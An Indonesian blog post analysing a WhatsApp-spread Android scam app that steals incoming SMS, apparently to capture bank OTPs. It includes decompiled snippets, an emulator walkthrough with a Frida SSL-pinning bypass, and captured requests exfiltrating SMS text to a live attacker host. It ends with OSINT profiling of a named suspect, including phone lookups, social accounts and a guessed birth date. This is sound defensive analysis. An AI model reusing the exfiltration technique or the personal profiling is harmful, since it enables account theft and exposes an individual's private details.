“LIHAT Foto Paket” scam

Last Update Article: 2022-12-05 10:58:09


Dive Deeper into “LIHAT Foto Paket” an evil apk to scam.

Belakangan ini terjadi bentuk pencurian data & pencurian uang di ATM dengan modus menerima pesan lewat aplikasi “What’sApp Messanger” modusnya adalah korban dikirim sebuah pesan tentang pemesanan sebuah paket seperti gambar di bawah ini

Untitled

Sumber gambar

Pada kasus yang lain percakapannya tidak seperti gambar di atas dan mungkin memiliki aplikasi yang berbeda juga seperti berita pada tautan berikut ini. Inti dari bentuk kejahatan digital ini adalah, korbannya di”hipnotis” dengan bentuk manipulasi psikologi “Apa benar ada sebuah paket?” maka si korban akan merasa “ah tidak” lalu korban akan terhipnotis sekali lagi untuk membuka sebuah file “LIHAT Foto Paket” tersebut, dalam kasus di atas untungnya si korban sadar dan langsung melakukan blokir ke nomor tersebut, tapi dalam kasus lain jika sudah terinstall dan diizinkan semua permission yang dibutuhkan oleh si aplikasi dan voila, semua “data” SMS akan tercuri dan dari sinilah kejahatan berikutnya berlanjut, **let me explain** in practical way.

Saya mendapatkan aplikasi “LIHAT Foto Paket.” di atas dari salah satu teman baik saya yaitu mas Bilal, terima kasih mas sayang banget <3. Saya sendiri tidak dapat menduga apakah aplikasi ini otentik dengan aplikasi yang sudah beredar untuk melakukan kejahatan, tapi YANG BISA SAYA PASTIKAN APLIKASI YANG SAYA TELITI INI JUGA SAMA JAHATNYA DENGAN MODUS KEJAHATAN YANG SEDANG BEREDAR SAYA BISA MEMBUKTIKAN ITU.

Informasi dasar mengenai aplikasi yang saya teliti ini dapat dilihat seperti gambar di bawah ini

Untitled

Ukuran dari aplikasi tersebut adalah 5.5 mega, cukup besar bagi saya hanya untuk melakukan pencurian data. Mari lakukan decompile aplikasi ini, isi dari AndroidManifest.xml adalah sebagai berikut ini

Untitled

****Permission**** yang dibutuhkan adalah

  1. Terima SMS
  2. Akses Internet
  3. Mengirim SMS

Dengan dasar nama aplikasi com.rndytech.smstest dengan package nama class-nya adalah package com.example.myapplication; menarik untuk melihat MainActivity class untuk memahami apa yang dilakukan oleh aplikasi ini

Untitled

Singkatnya aplikasi ini hanya WebView aplikasi yang melakukan loading terhadap web JET (https://jet.co.id/track) lalu sisanya adalah melakukan pengecekan permission untuk ****READ SMS****, dari bagian kode di atas saja sudah sangat SUS karena jika memang ini aplikasi hanya untuk pengecekan JET RESI, kenapa butuh permission SMS? tapi tak apa, mari melihat lebih dalam di potongan kode yang lain

Untitled

Dari sini kejahatan mulai terjadi, saat melakukan ****permission check**** ada potongan kode yang mengarahkan untuk hit ke REST API (https://randiramli.com) dengan isi detail dari **device** yang kita pakai, jahat ya. Untuk apa kebutuhan developer aplikasi mengetahui detail device kita? oh mungkin bagian dari pengembangan berkelanjutan? menarik. Mari lihat sekali lagi isi class yang ada dalam aplikasi ini

Untitled

Ada class yang cukup menarik **ReceiveSMS** dengan isi seperti di bawah ini

Untitled

Dan kejahatan terjadi pada kode di atas, sekali lagi kode di atas akan melakukan hit ke (https://randiramli.com) kali ini adalah saat handphone mendapatkan sebuah SMS, aplikasi ini akan mengirimkan juga ke REST API di atas pada parameter index.php?text= dari sini penulis dapat menyimpulkan bahwa

  1. Tidak peduli aplikasi ini otentik dengan yang beredar atau tidak tapi aplikasi ini juga melakukan pencurian data SMS para pengguna yang menginstall ini.
  2. Aplikasi ini dapat menjadi titik awal pencurian data sampai pencurian saldo pada aplikasi M-Banking

Bagaimana penulis dapat melakukan kesimpulan di atas? pertama tidak ada kepentingan bagi para **developer** mengetahui isi dari SMS dari pengguna yang melakukan instalasi aplikasi ini, lalu bagaimana bisa aplikasi ini dapat menjadi titik awal tercurinya saldo M-Banking dari para pengguna yang menginstall biarkan saya melakukan perandaian dengan urutan berikut ini

  1. Saya adalah calon korban menggunakan M-Banking yang sama dengan nomor WA saya
  2. Saya terkenal ****flexing**** kekayaan di sosial media, maka asumsi saya mempunyai saldo di M-Banking saya adalah di atas 100 juta (amiiinn)
  3. Seorang penjahat akan tergoda untuk melakukan pencurian dengan mendapatkan isi dari handphone korban.
  4. Penjahat membuat aplikasi yang sedang dibahas dengan target mencuri data SMS? kenapa? karena bank butuh OTP yang akan dikirimkan lewat SMS.
  5. Tapi kan gak selalu korban melakukan transaksi SMS yang butuh OTP, pasti expired dong? benar. Tapi bagaimana kalau si Penjahat yang memulai semuanya dengan **Login,Transfer** dari device pribadinya? karena sudah dapat akses OTP dari handphonemu.

Dari point-point di atas lah kemungkinan yang dapat terjadi dari penggunaan aplikasi di atas. Pesan moral yang dapat disampaikan di awal ini adalah JANGAN PERNAH INSTALL APLIKASI SELAIN DARI PLAYSTORE, itu langkah AWAL, langkah agak keras adalah INSTALL aplikasi yang umum saja, di bagian berikut ini penulis akan melakukan pembuktian sangat TEKNIS bagi pembaca di luar rumpun Informatika bisa berhenti sampai di sini, tapi kalau penasaran juga boleh.

Persiapan VM Device, penulis menggunakan device dengan informasi berikut ini dengan Hypervisor Android Studio

Untitled

Penulis menggunakan Android 9.0 dengan arch X86_64 dengan API 28, tampilannya seperti berikut ini (jelek banget emang asem lah).

Untitled

Lakukan install aplikasi dengan menggunakan adb seperti pada gambar di bawah ini

Untitled

Aplikasi sukses diinstall, namun pada halaman menu aplikasi android tidak ada 😃 waw, menarik.

Untitled

Aplikasi yang saya install lewat adb tidak ada 😃 hal-hal yang saya sensor adalah aplikasi NDA yang berhubungan dengan pekerjaan, namun menariknya aplikasi terinstall terlist di daftar aplikasi terinstall milik android 😃

Untitled

Aplikasi terinstall dan terdaftar di system android

Untitled

Menarik bukan? menurut asumsi penulis aplikasi tidak terdaftar di menu awal mungkin karena hal yang kurang compatible atau memang didesign seperti ini. Lalu? cara membuka aplikasi ini bagaimana? kita dapat melakukan force open lewat adb shell pertama kita cari dulu nama package yang ada, daftarnya dapat dilihat di /data/data

Untitled

Nama packagenya adalah com.rndytech.smstest dari sini kita dapat melakukan **force open** dengan ****commands****

am start -n com.rndytech.smstest/com.example.myapplication.MainActivity

dengan format

am start -n com.example.example/com.package.com.NAMACLASSS

dan akan terbuka dengan tampilan seperti berikut ini

Untitled

Sesuai dugaan, aplikasi akan meminta **permission** untuk akses ke SMS, setelah di allow akan membuka aplikasinya seperti berikut ini

Untitled

Terlihat normal, kan? tapi tidak. Harusnya di belakang layar akan melakukan hit ke REST API, tapi bagaimana bisa membuktikannya? Kita arahkan proxy AVD ke BurpSuite kita.

Untitled

Dan setelah dibuka, aplikasi tidak mengerluarkan tampilan apapun asumsi penulis adalah karena ****Failed Handshake,**** karena secara stuktur coding pada aplikasi, memang ada SSL Pinning menggunakan okhttp3.

Untitled

Kita bisa melakukan bypass SSL Pinning, karena tergolong mudah dan umum, bahkan saat menggunakan command

frida-ps -Uai

Aplikasinya pun tidak tersedia

Untitled

Tapi tak apa, kita sudah mengetahui nama package-nya kita bisa buka paksa denggan menggunakan **script** frida **bypass ssl pinning**

Untitled

Dan benar saja, aplikasi dapat ter-records **hit**-nya pada BurpSuite seperti berikut ini, benar saja webview dibuka dan pertama kali adalah membuka website Jet.co.id sebagai tampilan awal.

Untitled

Sejauh aplikasi hanya dibuka, hanya ada request ke domain

Untitled

Domain ****trust public**** yang mengekor pada website jet.co.id, lalu di mana letak pencurian datanya? mari sekali lagi melihat bagaimana proses pengiriman data ke ****REST API**** milik pemilik web/domain.

Untitled

Pada bagian potongan kode di atas, hit akan dilakukan jika aplikasi TIDAK DIBERIKAN PERMISSION, maka mari hilangkan permissionya.

Untitled

Dan benar saja, aplikasi akan mulai melakukan hit ke rest api dengan endpoint

Untitled

  1. https://[randiramli.com](http://randiramli.com/)/hide/satu/copyright.php?text=
  2. https://[randiramli.com](http://randiramli.com/)/hide/satu/install.php?text=

Dengan **device id** milik kita, isi dari data device id penulis adalah

batas ID : PSR1.180720.012
batas User : android-build
batas Product : sdk_phone_x86_64
batas Brand : Android
batas Device : generic_x86_64
batas Board : goldfish_x86_64
batas BOOTLOADER : unknown
batas DISPLAY : sdk_phone_x86_64-userdebug 9 PSR1.180720.012 4923214 test-keys
batas FINGERPRINT : Android/sdk_phone_x86_64/generic_x86_64:9/PSR1.180720.012/4923214:userdebug/test-keys
batas HARDWARE : ranchu
batas HOST : abfarm108
batas MANUFACTURER : unknown
batas MODEL : Android SDK built for x86_64
batas TAGS : test-keysbatas TYPE : userdebug
batas Product : 1533059510000

Saya tidak masalah melakukan expose data ini karena ini data dari VM saya, halo pembuat aplikasi, tandai! ini data diri saya.

Lalu, selanjutnya untuk melakukan trigger potongan kode di bawah ini

Untitled

Kita harus mendapatkan sebuah SMS, untungnya kita memang dapat menerima sebuah SMS dari simulasi emulator ini, caranya adalah dengan

adb emu sms send "123" "Halo Penipu, aplikasimu sudah tercrack"

Akan mendapatkan notifikasi SMS seperti di bawah ini

Untitled

Benar saja, saat ada SMS masuk, aplikasi akan langsung mengirimkan hit ke REST API seperti record yang saya dapatkan di burpsuite ini

Untitled

isi dari requestnya adalah

GET /hide/satu/index.php?text=123,%20Pesan%20:%20Halo%20Penipu,%20aplikasimu%20sudah%20tercrack HTTP/2
Host: randiramli.com
Accept-Encoding: gzip, deflate
User-Agent: okhttp/4.9.0

dan

Untitled

GET /hide/satu/enam%20php?text=123,%20Pesan%20:%20Halo%20Penipu,%20aplikasimu%20sudah%20tercrack HTTP/2
Host: randiramli.com
Accept-Encoding: gzip, deflate
User-Agent: okhttp/4.9.0

Benar saja yang ke-2 hitnya akan 404, karena dia typo menuliskan endpointnya, data-data yang dikirimkan adalah

123, Pesan : Halo Penipu, aplikasimu sudah tercrack

123 adalah nomor pengirim, isi dari pesan kita akan berada setelah ***prefix Pesan :* dari ini sudah dapat dibuktikan bahwa DATA KITA DIKIRIMKAN KE ENDPOINT MILIK PEMBUAT APLIKASI. Pembuktian sekali lagi


Untitled

Dan memang akan dikirimkan ke REST API, lagi.

GET /hide/satu/index.php?text=Penipu,%20Pesan%20:%20Halo%20Penipu%20PENIPUUUUUU HTTP/2
Host: randiramli.com
Accept-Encoding: gzip, deflate
User-Agent: okhttp/4.9.0

Lalu ada satu potongan code lagi di class ****SendSMS**** yang belum dapat disimulasikan, kode di bawah ini akan melakukan pengiriman SMS pada bagian kode berikut ini

Untitled

SmsManager mysmsmanager = SmsManager.getDefault();
mysmsmanager.sendTextMessage(kata2, null, kata3, null, null);

Mengacu pada dokumentasi milik android

Untitled

Potongan kode di atas harusnya untuk mengirimkan sebuah SMS, namun belum bisa dibuktikan oleh penulis mungkin dikarenakan device yang digunakan penulis adalah sebuah VM, sebagai tambahan berikut ini adalah isi dari local storage android dari aplikasi di atas

Untitled

Sekali lagi, APLIKASI INI TERBUKTI MELAKUKAN PENCURIAN DATA terlepas dari otentik atau tidak dengan aplikasi yang beredar, MENURUT PENULIS aplikasi ini sudah melanggar kaidah-kaidah privasi antara pengembang dan pengguna aplikasi. Mari, sekali lagi penulis akan melakukan tracking lebih jauh terhadap informasi-informasi yang sudah tersedia mulai dari domain

  1. randiramli.com

Memiliki ip address

Untitled

Untitled

Ternyata menggunakan cloudflare 🙂 lalu, bagaimana kalau websitenya dibuka?

Untitled

Akan mengeluarkan umpatan seperti di atas, lalu penulis mendapatkan beberapa path yang terbuka pada website

[10:16:27] 200 -    3KB - /api/
[10:16:59] 200 -   13B  - /index.php/login/
[10:16:59] 200 -   13B  - /index.php
[10:17:39] 200 -    0B  - /test/

pada path /api terdapat tampilan seperti berikut ini

Untitled

Bisa diasumsikan dari inisial “RNDY” bisa dibaca Randi atau Rendy atau Randy seperti nama domainnya, penulis mendapatkan mapping alur domain dan subdomainnya seperti gambar di bawah ini

Untitled

Dengan detail seperti berikut ini

Untitled

Ada banyak subdomain terdaftar, namun yang menarik adalah tampilan dari subdomain [kumpulanscript.randiramli.com](http://kumpulanscript.randiramli.com)

Untitled

Sepertinya, domain ini dibeli melalui provider DomainNesia mari kita check menggunakan [who.is](http://who.is)

Untitled

Domainnya dibeli pada tahun lalu di bulan Desember tanggal 30, dekat-dekat dengan tahun baru dan habis pada tahun ini di bulan ini juga, informasi detail yang lainnya adalah

Untitled

Valid, pembeli dan pemiliknya bernama Randi Ramli dengan nomor telfon dan email yang mirip dengan namanya, penulis melakukan pengecekan pada nomor yang tertera pada domain tersebut dan mendapatkan informasi yang mirip dengan nama tersebut

Untitled

Lalu

Untitled

Lalu

Untitled

Nama-nama dari nomor tersebut sangat otentik dan identik dengan hal-hal yang berbau dengan teknologi dan coding. Penulis mendapatkan sebuah path yang ada di website dengan tampilan seperti berikut ini

Untitled

Penulis lalu mendapatkan sebuah informasi pribadi dari pemilik web/domain dengan menemukan sebuah instagram pemilik website ini

Untitled

https://www.instagram.com/rndyinhere/

Dengan tampilan post yang penulis asumsikan adalah tahun lahir dari si pemilik akun

Untitled

Asumsi penulis, pemilik web/domain bernama Randi Ramli memiliki tanggal lahir 30 Januari 2004 (18 tahun). Orang-orang terkait yang diikuti oleh pemilik web/domain adalah sebagai berikut ini

Untitled

Untitled

Untitled

Penulis melakukan pencarian lagi dengan menemukan domain yang mirip dengan beda TLD saja yaitu https://www.randiramli.my.id/ ****dan memiliki tampilan seperti berikut ini

Untitled

Dan menemukan akun telegram

Untitled

Terima kasih sudah membaca, semua hal-hal yang ada di tulisan ini didapatkan secara umum melalui informasi yang didapatkan dari GoogleFU. Semoga menjadi pertimbangan kesadaran lebih untuk tidak gampang melakukan instalasi terhadap sebuah aplikasi. Mohon maaf jika ada kesalahan yang tertulis, dari hati yang tulus paling dalam Nikko Enggaliano.